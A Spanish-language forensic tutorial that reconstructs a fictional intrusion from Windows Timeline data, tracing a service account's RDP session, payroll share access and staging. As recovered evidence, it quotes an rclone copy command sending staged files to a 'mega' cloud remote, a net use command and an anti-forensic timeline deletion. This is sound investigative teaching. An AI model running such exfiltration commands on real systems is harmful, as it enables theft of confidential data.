Investigación con Windows Timeline: caso de exfiltración
Caso ficticio paso a paso: reconstruir la sesión interactiva de una cuenta de servicio y la exfiltración de nóminas con ActivitiesCache.db y su WAL.
Resumen. En este caso ficticio, el Timeline de la cuenta svc_backup en el equipo FIN-WKS-07 muestra un archivo de herramientas abierto desde Downloads, un archivo de credenciales leído en el Bloc de notas, un comando net use en el portapapeles, una sesión RDP, un recurso compartido de nóminas explorado, un Excel abierto desde E:\exfil, cinco minutos de foco en rclone.exe desde C:\Users\Public, un comando rclone copy ... mega: en el portapapeles y una eliminación pendiente de la entrada del Bloc de notas. Los cinco últimos elementos existen solo en el WAL.
Aviso: escenario ficticio. Todo lo que sigue es inventado: la organización, el equipo, la cuenta, los archivos y las horas. Coincide con la base «Probar un ejemplo» de la página de inicio de Windows Timeline Parser, así que puede seguirlo con las mismas filas. La historia continúa la intrusión
svc_backupque se usa en toda esta familia de sitios de parsers.
La llamada
Lunes 14 de septiembre de 2026, media tarde. El servidor de archivos de finanzas, FILESRV01, muestra un pico de lecturas inusual en \\FILESRV01\Finance\Payroll a última hora de la mañana. La cuenta responsable es svc_backup, una cuenta de servicio que nunca debería iniciar sesión de forma interactiva. El único equipo en el que tiene perfil es FIN-WKS-07. La máquina sigue encendida.
El analista lanza una colección de triaje que incluye el target WindowsTimeline de KAPE, así que C:\Users\svc_backup\AppData\Local\ConnectedDevicesPlatform\L.svc_backup\ vuelve con ActivitiesCache.db y ActivitiesCache.db-wal (guía de adquisición).
Primera pregunta: ¿usó una persona esta cuenta delante del teclado, y qué hizo?
Primera pasada: cargar y leer los contadores
Al soltar el ZIP de la colección en la herramienta, esta empareja la base con su WAL y la atribuye a svc_backup a partir de la ruta Users\svc_backup\. Sin advertencias: el WAL coincide y todos los frames están confirmados.
Los contadores son el primer hallazgo. Hay actividades de todos los tipos interesantes, elementos del portapapeles y una eliminación. Varias filas están marcadas como Solo en el WAL: se escribieron después del último checkpoint. Si el analista se hubiera llevado solo la base, esas filas no existirían.
La sesión, fila a fila
Las horas están en UTC. El userTimezone del payload es Europe/Paris (UTC+2 en esa fecha), así que el reloj del usuario marcaba dos horas más.
| UTC | Tipo | Aplicación | Elemento | Marcas |
|---|---|---|---|---|
| 10:02 a 10:08 | En uso (360 s) | %SystemRoot%\System32\cmd.exe | ||
| 10:06:40 | Apertura | %ProgramFiles%\7-Zip\7zFM.exe | C:\Users\svc_backup\Downloads\tools.zip | Carpeta escribible por el usuario |
| 10:10:05 | Apertura | Notepad | C:\ProgramData\Intel\creds.txt | Carpeta escribible por el usuario |
| 10:10:05 a 10:14:05 | En uso (240 s) | Notepad | ||
| 10:12:30 | Portapapeles | Notepad | net use \\FILESRV01\Finance /user:CORP\svc_backup | Portapapeles |
| 10:18:40 a 10:30 | En uso (680 s) | mstsc.exe | ||
| 10:31:07 | Apertura | File Explorer | \\FILESRV01\Finance\Payroll | Ruta de red |
| 10:31:07 a 10:44 | En uso (770 s) | File Explorer | Modificada en el WAL | |
| 10:40:12 | Apertura | Excel | E:\exfil\finance_2026\Payroll_2026.xlsx | Otra unidad, Solo en el WAL |
| 10:47:02 | Portapapeles | cmd.exe | rclone copy E:\exfil mega:fin-backup --transfers 8 | Portapapeles, Solo en el WAL |
| 10:47:12 a 10:52:30 | En uso (318 s) | C:\Users\Public\rclone.exe | Carpeta escribible por el usuario, Solo en el WAL | |
| 10:55:20 | Operación: eliminación | Notepad | (la actividad de creds.txt) | Eliminación, Solo en el WAL |
Leído como recomienda el artículo sobre prueba de ejecución:
Había una persona al teclado. El tiempo de foco en cmd.exe, el Bloc de notas, mstsc.exe, el Explorador y rclone.exe es uso interactivo, no una tarea programada. Una cuenta de servicio con veinte minutos de actividad en primer plano ya es un hallazgo en sí mismo.
Las herramientas llegaron en un archivo comprimido. tools.zip en la carpeta Downloads de la cuenta, abierto con 7-Zip cuatro minutos después de empezar la sesión. El siguiente paso es el diario USN y Prefetch para ver qué salió de él.
Las credenciales se prepararon en un archivo. C:\ProgramData\Intel\creds.txt no es un archivo de Intel. Cuatro minutos de foco en el Bloc de notas y, dos minutos después, un comando net use con el nombre de la cuenta copiado al portapapeles. La fila del portapapeles es contenido de tipo 10, que solo existe porque el historial y la sincronización del portapapeles estaban activados en esa máquina (análisis forense del portapapeles).
Se exploró el recurso compartido, más tiempo del que parecía. La sesión de foco del Explorador en la carpeta Payroll muestra 350 segundos en la base volcada y 770 segundos en el WAL. La fila se actualizó después del checkpoint. Citar solo la base reduciría a la mitad el tiempo en el recurso compartido.
Lo que solo sabe el WAL
Todo lo posterior a las 10:40 está solo en el WAL:
- Excel abrió
Payroll_2026.xlsxdesdeE:\exfil\finance_2026\: una segunda unidad, probablemente extraíble. Timeline da la letra, no el dispositivo. Los archivos LNK y las Jump Lists de Excel contienen datos del volumen; el historial USB está en el registro. rclone.exese ejecutó desdeC:\Users\Public\, registrado mediante un AppIdx_exe_path(un ejecutable independiente, no una aplicación instalada), con 318 segundos de foco.- El portapapeles contiene el comando exacto:
rclone copy E:\exfil mega:fin-backup --transfers 8. Nombra la carpeta de origen, el destino (mega:, un nombre de remote definido en la configuración de rclone del usuario, según la documentación de rclone) y el paralelismo. - A las 10:55:20 se puso en cola una operación de eliminación para la actividad de
creds.txt: alguien quitó esa entrada de su historial de actividades (antiforense). La filaActivityoriginal sigue ahí, y la propia operación es una prueba con marca de tiempo del intento de limpieza.
Sin el WAL, el informe terminaría en una ventana del Explorador sobre un recurso compartido. Con él, el informe tiene la carpeta de preparación, la herramienta, el comando y la limpieza. Ese es el significado práctico de por qué importa el archivo -wal.
Plan de corroboración
Timeline aporta el relato; cada afirmación sigue necesitando un segundo testigo.
| Afirmación | Corroborar con |
|---|---|
rclone.exe se ejecutó | Prefetch RCLONE.EXE-*.pf, SHA-1 en AmCache |
| Salieron datos | Uso de red de rclone.exe en SRUM, registros del proxy o del cortafuegos |
E: era un dispositivo USB | Claves USB de SYSTEM con el parser del registro, número de serie del volumen en los LNK |
| RDP hacia qué host | Jump List de mstsc, claves de registro de Terminal Server Client, registros de eventos en el destino |
Contenido de creds.txt | El propio archivo, o sus rastros en la Papelera de reciclaje y el diario USN |
| Tipo de inicio de sesión de la cuenta | Eventos 4624 de Security en EVTX |
Qué escribir
Un resumen defendible para el informe:
«La base de datos del historial de actividades de svc_backup en FIN-WKS-07 (ActivitiesCache.db con su registro write-ahead, hashes en el anexo) registra uso interactivo de la cuenta entre las 10:02 y las 10:55 UTC del 14 de septiembre de 2026, incluida la apertura por Excel de E:\exfil\finance_2026\Payroll_2026.xlsx a las 10:40:12, 318 segundos de uso activo de C:\Users\Public\rclone.exe desde las 10:47:12 y contenido del portapapeles coherente con una copia rclone a un remote llamado mega. Estos registros solo existen en el registro write-ahead. A las 10:55:20 se puso en cola la eliminación de la actividad relativa a C:\ProgramData\Intel\creds.txt».
Después, la tabla de corroboración, completada.
Pruébelo usted mismo
Abra la herramienta, haga clic en Probar un ejemplo y reproduzca la tabla anterior: marque Solo señaladas y busque la marca Solo en el WAL, y después cambie el filtro de tipo a Operaciones pendientes. La guía paso a paso explica cada control.